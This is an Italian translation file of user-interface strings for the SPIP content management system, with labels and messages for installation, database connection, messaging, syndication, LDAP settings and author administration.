'avis_destinataire_obligatoire' => 'Devi indicare un destinatario prima di mandare questo messaggio.',
'avis_erreur_connexion_mysql' => 'Errore di connessione SQL',
'avis_erreur_version_archive' => '<b>Attenzione! Il file @archive@ corrisponde a
una versione di SPIP diversa da quella installata.</b> Potranno sorgere notevoli problemi:
rischio di distruzione del database, malfunzionamenti diversi del sito ecc.
Non confermare questa richiesta d’importazione.<p>Per ulteriori
informazioni, vedere <a href="@spipnet@">
la documentazione di SPIP</a>.</p>', # MODIF
'avis_espace_interdit' => '<b>Area vietata</b><div>SPIP è già installato.</div>',
'avis_lecture_noms_bases_1' => 'Il programma di installazione non ha potuto leggere i nomi dei database installati nel server.',
'avis_lecture_noms_bases_2' => 'Nessun database è disponibile, o la funzione che permette di accedere alla lista database è
disattivata per motivi sicurezza (verifica con l’amministratrice di sistema).',
'avis_lecture_noms_bases_3' => 'Nel secondo caso, è probabile che un database con il tuo nome di login sia utilizzabile:',
'avis_non_acces_message' => 'Non hai accesso a questo messaggio.',
'avis_non_acces_page' => 'Non hai accesso a questa pagina.',
'avis_operation_echec' => 'L’operazione è fallita.',
'avis_operation_impossible' => 'Operazione impossibile',
'avis_probleme_archive' => 'Problema di lettura del file @archive@',
'avis_suppression_base' => 'ATTENZIONE, la cancellazione dei dati è irreversibile',
'avis_version_mysql' => 'La versione di SQL installata (@version_mysql@)non permette la correzione automatica delle tabelle.',
// B
'bouton_acces_ldap' => 'Aggiungi l’accesso a LDAP',
'bouton_ajouter' => 'Aggiungi',
'bouton_ajouter_participant' => 'AGGIUNGI UNA UTENTE:',
'bouton_annonce' => 'ANNUNCIO',
'bouton_annuler' => 'Annulla',
'bouton_checkbox_envoi_message' => 'possibilità di inviare un messaggio',
'bouton_checkbox_indiquer_site' => 'indicare obbligatoriamente un sito Web',
'bouton_checkbox_signature_unique_email' => 'una sola adesione per indirizzo email',
'bouton_checkbox_signature_unique_site' => 'una sola adesione per sito Web',
'bouton_demande_publication' => 'Chiedi la pubblicazione di questo articolo',
'bouton_desactive_tout' => 'Disattiva tutto',
'bouton_desinstaller' => 'Disinstalla',
'bouton_effacer_index' => 'Cancella gli indici',
'bouton_effacer_tout' => 'Cancella TUTTO',
'bouton_envoi_message_02' => 'INVIA UN MESSAGGIO',
'bouton_envoyer_message' => 'Messaggio definitivo: Invia',
'bouton_modifier' => 'Modifica',
'bouton_pense_bete' => 'PROMEMORIA AD USO PERSONALE',
'bouton_radio_activer_messagerie' => 'Attiva la messaggistica interna',
'bouton_radio_activer_messagerie_interne' => 'Attiva la messaggistica interna',
'bouton_radio_activer_petition' => 'Attiva la petizione',
'bouton_radio_afficher' => 'Visualizza',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Comparire nell’elenco delle redattrici collegate',
'bouton_radio_desactiver_messagerie' => 'Disattiva la messaggistica',
'bouton_radio_envoi_annonces_adresse' => 'Invia gli annunci all’indirizzo:',
'bouton_radio_envoi_liste_nouveautes' => 'Invia l’elenco delle novità',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Non comparire nell’elenco delle redattrici collegate ',
'bouton_radio_non_envoi_annonces_editoriales' => 'Non inviare annunci editoriali ',
'bouton_radio_pas_petition' => 'Nessuna petizione',
'bouton_radio_petition_activee' => 'Petizione attivata',
'bouton_radio_supprimer_petition' => 'Elimina la petizione',
'bouton_redirection' => 'REINDIRIZZAMENTO',
'bouton_relancer_installation' => 'Rilanciare l’installazione',
'bouton_suivant' => 'Avanti',
'bouton_tenter_recuperation' => 'Tentare un ripristino',
'bouton_test_proxy' => 'Testare il proxy',
'bouton_vider_cache' => 'Svuota la cache',
'bouton_voir_message' => 'Anteprima messaggio',
// C
'cache_mode_compresse' => 'I file di cache sono salvati in modalità compressa.',
'cache_mode_non_compresse' => 'I file di cache sono salvati in modalità non compressa.',
'cache_modifiable_webmestre' => 'Questo parametro può essere modificato dalla webmistress del sito.',
'calendrier_synchro' => 'Se si utilizza un programma di agenda compatibile con <b>iCal</b>, è possibile sincronizzare i dati con le informazioni di questo sito',
'config_activer_champs' => 'Attiva i campi seguenti',
'config_choix_base_sup' => 'indicare un database su questo server',
'config_erreur_base_sup' => 'SPIP non ha accesso all’elenco dei database accessibili ',
'config_info_base_sup' => 'Se si hanno altri database da interrogare attraverso SPIP, con il proprio server SQL o altro, il form sottostante permette di dichiararli. Se si lasciano alcuni campi vuoti verranno utilizzati i dati della connessione al database principale.',
'config_info_base_sup_disponibles' => 'Database supplementari già dichiarati:',
'config_info_enregistree' => 'La nuova configurazione è stata registrata',
'config_info_logos' => 'Ogni elemento del sito può avere un logo, come pure un « logo per il roll-over »',
'config_info_logos_utiliser' => 'Utilizza i logo',
'config_info_logos_utiliser_non' => 'Non utilizzare i logo',
'config_info_logos_utiliser_survol' => 'Utilizzare i logo di roll-over',
'config_info_logos_utiliser_survol_non' => 'Non utilizzare i logo di roll-over',
'config_info_redirection' => 'Attivando questa opzione è possibile creare degli articoli virtuali, semplici riferimenti di articoli pubblicati su altri siti o al di fuori di SPIP.',
'config_redirection' => 'Articoli virtuali',
'config_titre_base_sup' => 'Dichiarazione di un database supplementare',
'config_titre_base_sup_choix' => 'Scegliere un database supplementare',
'connexion_ldap' => 'Connessione:',
'copier_en_local' => 'Copia in locale',
// D
'date_mot_heures' => 'ore',
// E
'email' => 'email',
'email_2' => 'email:',
'entree_adresse_annuaire' => 'Indirizzo della rubrica',
'entree_adresse_email' => 'Il tuo indirizzo email',
'entree_base_donnee_1' => 'Indirizzo del database',
'entree_base_donnee_2' => '(Spesso questo indirizzo coincide con quello dell’intero sito, qualche volta corrisponde a "localhost", altre volte invece non è necessario specificarlo.)',
'entree_biographie' => 'La tua biografia in breve.',
'entree_chemin_acces' => '<b>Inserire</b> il percorso d’accesso:',
'entree_cle_pgp' => 'Chiave PGP',
'entree_contenu_rubrique' => '(Contenuto della rubrica in qualche parola)',
'entree_identifiants_connexion' => 'Identificativo di connessione...',
'entree_informations_connexion_ldap' => 'Inserisci in questo form gli estremi per la connessione alla tua rubrica LDAP.
Se non conosci queste informazioni, richiedile all’amministratrice del sistema o della rete.',
'entree_infos_perso' => 'Chi sei?',
'entree_interieur_rubrique' => 'All’interno della rubrica:',
'entree_liens_sites' => '<b>Link ipertestuale</b> (riferimento, sito da visitare...)',
'entree_login' => 'Login',
'entree_login_connexion_1' => 'Il login di connessione',
'entree_login_connexion_2' => '(Corrisponde a volte al login d’accesso via FTP; in alcuni casi non occorre specificare nulla)',
'entree_login_ldap' => 'Login LDAP iniziale',
'entree_mot_passe' => 'Password',
'entree_mot_passe_1' => 'La password di connessione',
'entree_mot_passe_2' => '(Corrisponde a volte alla password d’accesso via FTP; in alcuni casi non occorre specificare nulla)',
'entree_nom_fichier' => 'Inserire il nome del file @texte_compresse@:',
'entree_nom_pseudo' => 'Nome o pseudonimo',
'entree_nom_pseudo_1' => '(Nome o pseudonimo)',
'entree_nom_site' => 'Nome del tuo sito',
'entree_nouveau_passe' => 'Nuova password',
'entree_passe_ldap' => 'Password',
'entree_port_annuaire' => 'Il numero di porta della rubrica',
'entree_signature' => 'Firma',
'entree_titre_obligatoire' => '<b>Titolo</b> [Obbligatorio]<br />',
'entree_url' => 'Indirizzo (URL) del sito',
'erreur_plugin_fichier_absent' => 'File non presente',
'erreur_plugin_fichier_def_absent' => 'File di definizioni non presente',
'erreur_plugin_nom_fonction_interdit' => 'Nome di funzione non possibile',
'erreur_plugin_nom_manquant' => 'Nome del plugin mancante',
'erreur_plugin_prefix_manquant' => 'Spazio per il nome del plugin non definito',
'erreur_plugin_tag_plugin_absent' => '<plugin> mancante nel file di definizione',
'erreur_plugin_version_manquant' => 'Versione del plugin mancante',
// I
'ical_info1' => 'Questa pagina elenca diversi metodi per rimanere in contatto con le varie attività del sito.',
'ical_info2' => 'Per ulteriori informazioni su tutte queste tecniche, non esitate a consultare <a href="@spipnet@">la documentazione di SPIP</a>.',
'ical_info_calendrier' => 'Sono disponibili due calendari. Il primo è una mappa del sito che annuncia tutti gli articoli pubblicati. Il secondo contiene gli annunci editoriali e gli ultimi messaggi privati: è un’area riservata, mediante identificativo personale, che è possibile modificare in qualsiasi momento rinnovando la password personale.',
'ical_methode_http' => 'Download',
'ical_methode_webcal' => 'Sincronizzazione (webcal://)',
'ical_texte_js' => 'Una linea in javascript permette di visualizzare, con molta semplicità e su qualsiasi tipo di sito, gli articoli recenti pubblicati su questo sito.',
'ical_texte_prive' => 'Questo calendario, ad uso strettamente privato, dà informazioni sull’attività redazionale privata di questo sito (impegni e appuntamenti personali, articoli e brevi proposti...).',
'ical_texte_public' => 'Questo calendario permette di monitorare l’attività pubblica del sito (articoli e brevi pubblicati).',
'ical_texte_rss' => 'È possibile mettere in syndication le novità di questo sito con qualsiasi lettore di file in formato XML/RSS (Rich Site Summary). Questo è il medesimo formato che permette a SPIP di leggere le novità pubblicate su altri siti che utilizzano un formato di scambio compatibile.',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Mailing-list',
'ical_titre_rss' => 'File di syndication',
'icone_activer_cookie' => 'Attiva il cookie di corrispondenza',
'icone_admin_plugin' => 'Gestione dei plugin',
'icone_afficher_auteurs' => 'Pubblica le autrici',
'icone_afficher_visiteurs' => 'Pubblica i visitatori',
'icone_arret_discussion' => 'Non partecipare più a questa discussione',
'icone_calendrier' => 'Calendario',
'icone_creer_auteur' => 'Crea una nuova autrice ed associala a questo articolo',
'icone_creer_mot_cle' => 'Crea una nuova parola chiave e collegala a questo articolo',
'icone_creer_mot_cle_rubrique' => 'Creare una nuova parola chiave e collegarla a questa rubrica',
'icone_creer_mot_cle_site' => 'Creare una nuova parola chiave e collegarla a questo sito',
'icone_creer_rubrique_2' => 'Crea una nuova rubrica',
'icone_envoyer_message' => 'Invia questo messaggio',
'icone_modifier_article' => 'Modifica l’articolo',
'icone_modifier_message' => 'Modifica il messaggio',
'icone_modifier_rubrique' => 'Modifica la rubrica',
'icone_relancer_signataire' => 'Rilanciare il firmatario',
'icone_retour' => 'Indietro',
'icone_retour_article' => 'Torna all’articolo',
'icone_supprimer_cookie' => 'Elimina il cookie di corrispondenza',
'icone_supprimer_rubrique' => 'Elimina la rubrica',
'icone_supprimer_signature' => 'Cancella l’adesione',
'icone_valider_signature' => 'Conferma l’adesione',
'image_administrer_rubrique' => 'Puoi amministrare questa rubrica',
'info_1_article' => '1 articolo',
'info_1_site' => '1 sito',
'info_activer_cookie' => 'Se vuoi puoi attivare un <b>cookie di corrispondenza</b>, che ti permetterà
di passare facilmente dal sito pubblico all’interfaccia privata.',
'info_admin_gere_rubriques' => 'Questa amministratrice gestisce le seguenti rubriche:',
'info_admin_gere_toutes_rubriques' => 'Questa amministratrice gestisce <b>tutte le rubriche</b>.', # MODIF
'info_administrateur' => 'Amministratrice',
'info_administrateur_1' => 'Amministratrice',
'info_administrateur_2' => 'del sito (<i>da utilizzare con prudenza</i>)',
'info_administrateur_site_01' => 'Se sei amministratrice del sito,',
'info_administrateur_site_02' => 'clicca qui',
'info_administrateurs' => 'Amministratrici',
'info_administrer_rubrique' => 'Puoi amministrare questa rubrica',
'info_adresse' => 'all’indirizzo:',
'info_adresse_url' => 'Indirizzo (URL) del sito pubblico',
'info_afficher_visites' => 'Visualizzare le visite per:',
'info_aide_en_ligne' => 'Guida in linea SPIP',
'info_ajout_image' => 'Quando aggiungi delle immagini come documenti allegati ad un articolo,
SPIP può creare delle thumbnail (miniature) delle
immagini inserite. Ciò permette ad esempio di creare in automatico una galleria di immagini o un portfolio.',
'info_ajout_participant' => 'Si è aggiunta la seguente partecipante:',
'info_ajouter_rubrique' => 'Aggiungi un’altra rubrica da amministrare:',
'info_annonce_nouveautes' => 'Annuncio delle novità',
'info_anterieur' => 'anteriore',
'info_article' => 'articolo',
'info_article_2' => 'articoli',
'info_article_a_paraitre' => 'Gli articoli postdatati da pubblicare',
'info_articles_02' => 'articoli',
'info_articles_2' => 'Articoli',
'info_articles_auteur' => 'Articoli di questo autore',
'info_articles_trouves' => 'Articoli trovati',
'info_articles_trouves_dans_texte' => 'Articoli trovati (ricerca nel testo)',
'info_attente_validation' => 'I tuoi articoli in attesa di convalida',
'info_aujourdhui' => 'oggi: ',
'info_auteur_message' => 'AUTRICE DEL MESSAGGIO:',
'info_auteurs' => 'Le autrici',
'info_auteurs_par_tri' => 'Autrici@partri@',
'info_auteurs_trouves' => 'Autrici trovate',
'info_authentification_externe' => 'Autenticazione esterna',
'info_avertissement' => 'Avvertimento',
'info_barre_outils' => 'con la barra degli strumenti?',
'info_base_installee' => 'La struttura del vostro database è installata.',
'info_chapeau' => 'Introduzione',
'info_chapeau_2' => 'Introduzione:',
'info_chemin_acces_1' => 'Opzioni: <b>Percorso d’accesso ai dati nell’elenco</b>',
'info_chemin_acces_2' => 'È necessario specificare il percorso per accedere ai dati nell’elenco. Questa informazione è indispensabile al fine di leggere i profili utente in esso contenuti.',
'info_chemin_acces_annuaire' => 'Opzioni: <b>Percorso d’accesso ai dati nell’elenco',
'info_choix_base' => 'Terza fase: ',
'info_classement_1' => '<sup>o</sup> su @liste@',
'info_classement_2' => '<sup>o</sup> su @liste@',
'info_code_acces' => 'Non dimenticare i tuoi codici d’accesso!',
'info_compresseur_gzip' => '<b>N. B. :</b> Si raccomanda di verificare preventivamente se il provider comprime già in maniera sistematica gli script php; a tal fine è possibile utilizzare, per esempio, il seguente servizio: @testgzip@', # MODIF
'info_compresseur_texte' => 'Se il proprio server non comprime automaticamente le pagine HTML per inviarle ai visitatori, è possibile tentare di forzare la compressione per diminuire il peso delle pagine da scaricare. <b>Attenzione</b>: ciò può rallentare notevolmente alcuni server.',
'info_config_suivi' => 'Se questo indirizzo corrisponde a una mailing-list, è possibile indicare qui sotto l’indirizzo al quale i partecipanti del sito possono iscriversi. Questo indirizzo può essere una URL (per esempio la pagina di iscrizione via Web alla lista), oppure un indirizzo email che contiene un Oggetto specifico (per esempio: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'È possibile abbonarsi alla mailing-list di questo sito. Verranno spedite per email le notifiche degli articoli e delle brevi proposte per la pubblicazione.',
'info_confirmer_passe' => 'Conferma la nuova password:',
'info_conflit_edition_avis_non_sauvegarde' => 'Attenzione, i campi seguenti sono già stati modificati. Quindi le vostre modifiche su questi campi non sono state registrate.',
'info_conflit_edition_differences' => 'Differenze:',
'info_conflit_edition_version_enregistree' => 'La versione registrata:',
'info_conflit_edition_votre_version' => 'La tua versione:',
'info_connexion_base' => 'Prova di connessione al database',
'info_connexion_base_donnee' => 'Connessione al proprio database',
'info_connexion_ldap_ok' => 'La connessione LDAP è riuscita.</b><p> È possibile passare alla fase successiva.</p>', # MODIF
'info_connexion_mysql' => 'La connessione a SQL',
'info_connexion_ok' => 'La connessione è riuscita.',
'info_contact' => 'Contatti',
'info_contenu_articles' => 'Contentuto degli articoli',
'info_creation_paragraphe' => '(Per creare dei paragrafi indipendenti, lasciare fra loro delle righe vuote.)', # MODIF
'info_creation_rubrique' => 'Prima di poter scrivere degli articoli, <br />devi creare almeno una rubrica.<br />',
'info_creation_tables' => 'Creazione delle tabelle nel database',
'info_creer_base' => '<b>Creare</b> un nuovo database:',
'info_dans_rubrique' => 'Nella rubrica:',
'info_date_publication_anterieure' => 'Data di redazione anteriore:',
'info_date_referencement' => 'DATA DI INSERIMENTO IN REPERTORIO DI QUESTO SITO:',
'info_derniere_etape' => 'Finito!',
'info_derniers_articles_publies' => 'I tuoi ultimi articoli pubblicati',
'info_desactiver_messagerie_personnelle' => 'Puoi attivare o disattivare il sistema di messaggistica personale su questo sito.',
'info_descriptif' => 'Descrizione:',
'info_desinstaller_plugin' => 'elimina i dati e disattiva il plug-in',
'info_discussion_cours' => 'Discussioni in corso',
'info_ecrire_article' => 'Prima di poter scrivere degli articoli, devi creare almeno una rubrica.',
'info_email_envoi' => 'Indirizzo email del mittente (opzionale)',
'info_email_envoi_txt' => 'Indicare qui l’indirizzo da utilizzare per l’invio degli email (come impostazione predefinita l’indirizzo del destinatario sarà utilizzato come indirizzo del mittente):',
'info_email_webmestre' => 'Indirizzo email della webmistress (opzionale)', # MODIF
'info_entrer_code_alphabet' => 'Inserisci il codice dell’alfabeto da utilizzare:',
'info_envoi_email_automatique' => 'Invio di email automatico',
'info_envoyer_maintenant' => 'Invia adesso',
'info_etape_suivante' => 'Passare alla fase successiva',
'info_etape_suivante_1' => 'Puoi passare alla fase successiva.',
'info_etape_suivante_2' => 'Puoi passare alla fase successiva.',
'info_exportation_base' => 'esportazione del database verso @archive@',
'info_facilite_suivi_activite' => 'Al fine di facilitare il monitoraggio
dell’attività editoriale del sito, SPIP può far pervenire via email,
per esempio ad una mailing-list delle redattrici, l’annuncio delle domande di
pubblicazione e di convalida degli articoli.',
'info_fichiers_authent' => 'File d’autenticazione ".htpasswd"',
'info_forums_abo_invites' => 'Il sito comprende dei forum accessibili solo a utenti registrate. Nel sito pubblico è quindi presente una pagina d’iscrizione.',
'info_gauche_admin_effacer' => '<b>Questa pagina è accessibile solo alle responsabili del sito.</b><p> Permette l’accesso alle diverse funzioni di manutenzione tecnica. Alcune di esse richiedono una specifica procedura di identificazione, eseguibile grazie a un accesso FTP.</p>', # MODIF
'info_gauche_admin_tech' => '<b>Questa pagina è accessibile solo alle responsabili del sito.</b><p> Permette l’accesso alle diverse funzioni di manutenzione tecnica. Alcune di esse richiedono una specifica procedura di identificazione, eseguibile grazie a un accesso FTP.</p>', # MODIF
'info_gauche_admin_vider' => '<b>Questa pagina è accessibile solo alle responsabili del sito.</b><p> Permette l’accesso alle diverse funzioni di manutenzione tecnica. Alcune di esse richiedono una specifica procedura di identificazione, eseguibile grazie ad un accesso FTP.</p>', # MODIF
'info_gauche_auteurs' => 'Elenco di tutte le autrici del sito.
Il loro status è indicato dal colore dell’icona (redattrice = giallo; amministratrice = verde).',
'info_gauche_auteurs_exterieurs' => 'Le autrici esterne, senza accesso al sito, sono indicate da un’icona blu;
le autrici eliminate, invece, da un cestino.', # MODIF
'info_gauche_messagerie' => 'Il sistema di messaggistica permette di scambiare dei messaggi tra redattrici, di conservare dei memo (promemoria ad uso personale) o di pubblicare degli annunci nel pannello di controllo dell’area riservata (se sei amministratrice).',
'info_gauche_numero_auteur' => 'AUTRICE NUMERO',
'info_gauche_statistiques_referers' => 'Questa pagina presenta un elenco dei siti che contengono link verso il tuo (<i>referrer</i>). Questo elenco è valido però solo per oggi essendo azzerato ogni 24 ore.',
'info_gauche_visiteurs_enregistres' => 'Trovi qui i visitatori registrati allo spazio
pubblico del sito (forum su abbonamento).',
'info_generation_miniatures_images' => 'Generazione di thumbnail di immagini',
'info_gerer_trad' => 'Gestire i link di traduzione?',
'info_hebergeur_desactiver_envoi_email' => 'Alcuni hoster disattivano l’invio automatico di email
dai loro server. In questo caso, le funzionalità di SPIP di seguito riportate non funzioneranno.',
'info_hier' => 'ieri:',
'info_historique_activer' => 'Attivare la gestione delle revisioni',
'info_historique_affiche' => 'Visualizzare questa versione',
'info_historique_comparaison' => 'confronto',
'info_historique_desactiver' => 'Disattivare la gestione delle revisioni',
'info_historique_texte' => 'La gestione delle revisioni permette di conservare traccia di tutte le modifiche effettuate su un articolo, mostrando le differenze fra le sue versioni successive.',
'info_identification_publique' => 'La tua identità pubblica...',
'info_image_process' => 'Seleziona il metodo migliore per la creazione delle anteprime cliccando sull’immagine corrispondente.',
'info_image_process2' => '<b>N.B.</b> <i>Se non appare alcuna immagine, ciò significa che la configurazione del server non permette l’uso di alcune funzioni grafiche. Se si desidera utilizzarle, rivolgersi al responsabile tecnico chiedendo di installare le estensioni "GD" o "Imagick".</i>', # MODIF
'info_images_auto' => 'Immagini elaborate automaticamente',
'info_informations_personnelles' => 'Informazioni personali',
'info_inscription_automatique' => 'Iscrizione automatica di nuove redattrici',
'info_jeu_caractere' => 'Set di caratteri del sito',
'info_jours' => 'giorni',
'info_laisser_champs_vides' => 'lasciare questi campi vuoti)',
'info_langues' => 'Lingua del sito',
'info_ldap_ok' => 'L’autenticazione LDAP è installata.',
'info_lien_hypertexte' => 'Link ipertestuale:',
'info_liste_redacteurs_connectes' => 'Elenco delle redattrici collegate',
'info_login_existant' => 'Questo login esiste già.',
'info_login_trop_court' => 'Login troppo corto.',
'info_logos' => 'I logo',
'info_maximum' => 'massimo:',
'info_meme_rubrique' => 'Nella stessa rubrica',
'info_message' => 'Messaggio del ',
'info_message_efface' => 'MESSAGGIO CANCELLATO',
'info_message_en_redaction' => 'I tuoi messaggi in corso di redazione',
'info_message_technique' => 'Messaggio tecnico:',
'info_messagerie_interne' => 'Sistema di messaggistica interna',
'info_mise_a_niveau_base' => 'aggiornamento del database SQL',
'info_mise_a_niveau_base_2' => '{{Attenzione!}} È stata installata una versione
dei file di SPIP {precedente} rispetto a quella che era in uso per questo sito:
le informazioni contenute nel database sono probabilmente andate perse.<br />{{Reinstallare i file di SPIP.}}',
'info_modifier_auteur' => 'Modifica l’autrice:',
'info_modifier_rubrique' => 'Modifica la rubrica:',
'info_modifier_titre' => 'Modifica: @titre@',
'info_mon_site_spip' => 'Il mio sito SPIP',
'info_mot_sans_groupe' => '(Parole chiave senza gruppo...)',
'info_moteur_recherche' => 'Motore di ricerca integrato',
'info_moyenne' => 'media: ',
'info_multi_articles' => 'Attivare il menu della lingua negli articoli?',
'info_multi_cet_article' => 'Lingua di questo articolo:',
'info_multi_langues_choisies' => 'Selezionare di seguito le lingue disponibili per le redattrici del sito.
Le lingue già utilizzate nel sito (visualizzate per prime) non possono essere disattivate.',
'info_multi_rubriques' => 'Attivare il menu della lingua nelle rubriche?',
'info_multi_secteurs' => '... solo per le rubriche collocate nella {root} del sito?',
'info_nom' => 'Nome',
'info_nom_destinataire' => 'Nome del destinatario',
'info_nom_site' => 'Nome del tuo sito',
'info_nombre_articles' => '@nb_articles@ articoli,',
'info_nombre_partcipants' => 'PARTECIPANTI ALLA DISCUSSIONE:',
'info_nombre_rubriques' => '@nb_rubriques@ rubriche,',
'info_nombre_sites' => '@nb_sites@ siti, ',
'info_non_deplacer' => 'Non spostare...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP può inviare regolarmente annunci sulle ultime novità del sito
(articoli e brevi recentemente pubblicati).',
'info_non_envoi_liste_nouveautes' => 'Non inviare l’elenco delle novità',
'info_non_modifiable' => 'non può essere modificato',
'info_non_suppression_mot_cle' => 'non voglio cancellare questa parola chiave.',
'info_notes' => 'Note',
'info_nouveaux_message' => 'Nuovi messaggi',
'info_nouvel_article' => 'Nuovo articolo',
'info_nouvelle_traduction' => 'Nuova traduzione:',
'info_numero_article' => 'ARTICOLO NUMERO:',
'info_obligatoire_02' => '[Obbligatorio]', # MODIF
'info_option_accepter_visiteurs' => 'Accetta l’iscrizione di utenti del sito pubblico',
'info_option_faire_suivre' => 'Segnala i nuovi messaggi',
'info_option_ne_pas_accepter_visiteurs' => 'Rifiuta l’iscrizione di utenti',
'info_options_avancees' => 'OPZIONE AVANZATA',
'info_ortho_activer' => 'Attivare il controllo ortografico',
'info_ortho_desactiver' => 'Disattivare il controllo ortografico',
'info_ou' => 'o... ',
'info_page_interdite' => 'Pagina riservata',
'info_par_nom' => 'per nome',
'info_par_nombre_article' => 'per numero di articoli',
'info_par_statut' => 'per status',
'info_par_tri' => '’(per @tri@)’',
'info_passe_trop_court' => 'Password troppo corta.',
'info_passes_identiques' => 'Le due password non sono uguali.',
'info_pense_bete_ancien' => 'I vecchi memo', # MODIF
'info_plus_cinq_car' => 'più di 5 caratteri',
'info_plus_cinq_car_2' => '(Più di 5 caratteri)',
'info_plus_trois_car' => '(Più di 3 caratteri)',
'info_popularite' => 'popolarità: @popularite@; visite: @visites@',
'info_popularite_4' => 'popolarità: @popularite@; visite: @visites@',
'info_post_scriptum' => 'Post Scriptum',
'info_post_scriptum_2' => 'Post Scriptum:',
'info_pour' => 'per',
'info_preview_admin' => 'Solo le amministratrici possono visualizzare l’anteprima del sito',
'info_preview_comite' => 'Tutte le redattrici possono visualizzare l’anteprima del sito',
'info_preview_desactive' => 'L’anteprima del sito è totalmente disattivata',
'info_preview_texte' => 'È possibile visualizzare un’anteprima del sito comprendente anche gli articoli e le brevi "proposti" per la pubblicazione. Questa funzionalità può essere disattivata, consentita solo alle amministratrici o a tutte le redattrici.',
'info_principaux_correspondants' => 'Corrispondenti principali',
'info_procedez_par_etape' => 'procedere passo dopo passo',
'info_procedure_maj_version' => 'è necessario avviare la procedura di aggiornamento per adattare
il database alla nuova versione di SPIP.',
'info_proxy_ok' => 'Test del proxy riuscito.',
'info_ps' => 'P.S.',
'info_publier' => 'pubblicare',
'info_publies' => 'I tuoi articoli pubblicati',
'info_question_accepter_visiteurs' => 'I modelli di pagina del sito prevedono la registrazione di utenti senza accesso all’area riservata. Attivare la seguente funzionalità:',
'info_question_inscription_nouveaux_redacteurs' => 'Accettate le iscrizioni di nuove redattrici
direttamente dal sito pubblico? In questo caso, chi visita il sito potrà iscriversi
grazie ad un modulo automatizzato e accedere all’area riservata per proporre
i propri articoli. <blockquote><i>Durante la fase d’iscrizione,
le utenti ricevono automaticamente un email
che fornisce loro i codici d’accesso al sito privato. Alcuni
hoster disattivano l’invio di email dai propri server: in questo caso, l’iscrizione automatica è
impossibile.', # MODIF
'info_question_utilisation_moteur_recherche' => 'Desideri utilizzare il motore di ricerca integrato di SPIP?
(disattivandolo viene velocizzato il funzionamento del sistema)',
'info_question_vignettes_referer_non' => 'Non visualizzare la cattura dello schermo dei siti di origine delle visite',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Root del sito',
'info_recharger_page' => 'Aggiorna questa pagina fra qualche istante.',
'info_recherche_auteur_a_affiner' => 'Troppi risultati per "@cherche_auteur@"; restringi la ricerca.',
'info_recherche_auteur_ok' => 'Molti redattori trovati per "@cherche_auteur@":',
'info_recherche_auteur_zero' => 'Nessun risultato per "@cherche_auteur@".',
'info_recommencer' => 'Ricomincia.',
'info_redacteur_1' => 'Redattori',
'info_redacteur_2' => 'avendo accesso allo spazio privato (<i>raccommandato</i>)',
'info_redacteurs' => 'Redattrici',
'info_redaction_en_cours' => 'IN CORSO DI REDAZIONE',
'info_redirection' => 'Reindirizzamento',
'info_refuses' => 'I tuoi articoli rifiutati',
'info_reglage_ldap' => 'Opzioni: <b>Parametri per l’importazione LDAP</b>',
'info_renvoi_article' => '<b>Reindirizzamento.</b> Quest’articolo rimanda alla pagina:',
'info_reserve_admin' => 'Solo le amministratrici possono modificare quest’indirizzo.',
'info_restreindre_rubrique' => 'Limita la facoltà di gestione alla rubrica:',
'info_resultat_recherche' => 'Risultati della ricerca:',
'info_rubriques' => 'Rubriche',
'info_rubriques_02' => 'rubriche',
'info_rubriques_trouvees' => 'Rubriche trovate',
'info_rubriques_trouvees_dans_texte' => 'Rubriche trovate (ricerca nel testo)',
'info_sans_titre' => 'Senza titolo',
'info_selection_chemin_acces' => '<b>Seleziona</b> qui sotto il percorso d’accesso nell’elenco:',
'info_signatures' => 'firme',
'info_site' => 'Sito',
'info_site_2' => 'sito: ',
'info_site_min' => 'sito',
'info_site_reference_2' => 'Sito repertoriato',
'info_site_web' => 'SITO WEB:', # MODIF
'info_sites' => 'siti',
'info_sites_lies_mot' => 'I siti in repertorio legati a questa parola chiave',
'info_sites_proxy' => 'Utilizza un proxy',
'info_sites_trouves' => 'Siti trovati',
'info_sites_trouves_dans_texte' => 'Siti trovati (nel testo)',
'info_sous_titre' => 'Sottotitolo:',
'info_statut_administrateur' => 'Amministratrice',
'info_statut_auteur' => 'Status di questa autrice:',
'info_statut_auteur_a_confirmer' => 'Iscrizione da confermare',
'info_statut_auteur_autre' => 'Altro stato:',
'info_statut_efface' => 'Cancellato',
'info_statut_redacteur' => 'Redattrice',
'info_statut_utilisateurs_1' => 'Status predefinito delle utenti importate',
'info_statut_utilisateurs_2' => 'Scegli lo status da attribuire alle personne presenti nell’elenco LDAP quando si collegano per la prima volta. Potrai poi modificare questa impostazione per ogni singola autrice.',
'info_suivi_activite' => 'Monitoraggio dell’attività editoriale',
'info_surtitre' => 'Occhiello:',
'info_syndication_integrale_1' => 'Il tuo sito propone dei file di syndication (vedi « <a href="@url@">@titre@</a> »).',
'info_syndication_integrale_2' => 'Si desidera trasmettere gli articoli in versione integrale oppure in versione riassunta di un centinaio di caratteri?',
'info_table_prefix' => 'È possibile modificare il prefisso del nome delle tabelle del database (cosa indispensabile se si desidera installare più siti usando il medesimo database). Questo prefisso si deve scrivere usando esclusivamente lettere minuscole, prive di accenti e senza alcuno spazio.',
'info_taille_maximale_images' => 'SPIP testerà la dimensione massima delle immagini che può manipolare (in milioni di pixel).<br /> Le immagini di dimensione maggiore non saranno ridotte.',
'info_taille_maximale_vignette' => 'Dimensione massima delle immagini create dal sistema:',
'info_terminer_installation' => 'Puoi ora terminare la procedura d’installazione standard.',
'info_texte' => 'Testo',
'info_texte_explicatif' => 'Testo esplicativo',
'info_texte_long' => '(il testo è lungo: è quindi visualizzato in più sezioni che verranno riunificate dopo la convalida)',
'info_texte_message' => 'Testo del messaggio:', # MODIF
'info_texte_message_02' => 'Testo del messaggio',
'info_titre' => 'Titolo:',
'info_total' => 'totale: ',
'info_tous_articles_en_redaction' => 'Tutti gli articoli in corso di redazione',
'info_tous_articles_presents' => 'Tutti gli articoli pubblicati in questa rubrica',
'info_tous_les' => 'tutti i:',
'info_tous_redacteurs' => 'Annunci a tutte le redattrici',
'info_tout_site' => 'Tutto il sito',
'info_tout_site2' => 'L’articolo non è stato tradotto in questa lingua.',
